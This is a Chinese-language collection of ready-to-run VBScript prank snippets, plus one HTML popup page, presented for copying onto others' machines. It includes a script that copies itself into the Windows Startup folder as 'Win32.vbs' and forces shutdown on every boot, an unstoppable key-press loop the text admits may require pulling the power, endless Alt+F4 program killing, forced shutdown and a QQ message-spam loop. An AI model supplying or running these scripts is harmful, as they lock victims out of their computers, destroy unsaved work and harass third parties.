vbs简单设置命令集
新建文本文件,填入代码,将文本后缀改为 .vbs 即可执行!
无限弹出光驱:
------------------------------------------------
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
------------------------------------------------
无尽语音报数:
无限语音从1数到无限大。
------------------------------------------------
Set s = CreateObject("sapi.spvoice")
i=0
do
s.speak i
i=i+1
loop
------------------------------------------------
无尽刷新:
慎用,如此刷新打开任务管理器都难,只能拔掉电源。
------------------------------------------------
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
------------------------------------------------
修改注册表:
------------------------------------------------
on error resume next
set wr=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
set f = wr.getfile(wscript.scriptfullname)
q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")
if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true
ws.run"shutdown -p",vbhide
------------------------------------------------
QQ信息骚扰恶搞:
打开好友的聊天对话框,然后记下聊天对话框的名称(如图:小敏),把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。
------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("小敏")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
直接关机:
------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
------------------------------------------------
不断按下alt+f4 :
打开任何程序都关掉
------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
do
wscript.sleep 2500
WSHshell.SendKeys "%{F4}"
loop
与网页结合
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title>
</head>
<body>
<a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗?');
alert('你把我的话当什么了?');
alert('你知道错了吗?');
alert('什么?你居然....');
alert('居然还没意识到自己做错了?');
alert('那好,你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么?你开始有点后悔了?');
alert('何必呢?');
alert('你当初干什么去了?');
alert('不原谅你!');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么?你已经没力气了?');
alert('你一直在求我原谅你啊!');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗?');
alert('真的不会了?');
alert('那好,今天就放你一马!');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a>
嘻试吧爽噢。。
</body>
</html>
VBS打开网址
SetobjShell = CreateObject("Wscript.Shell")
objShell.Run("http://www.baidu.com/")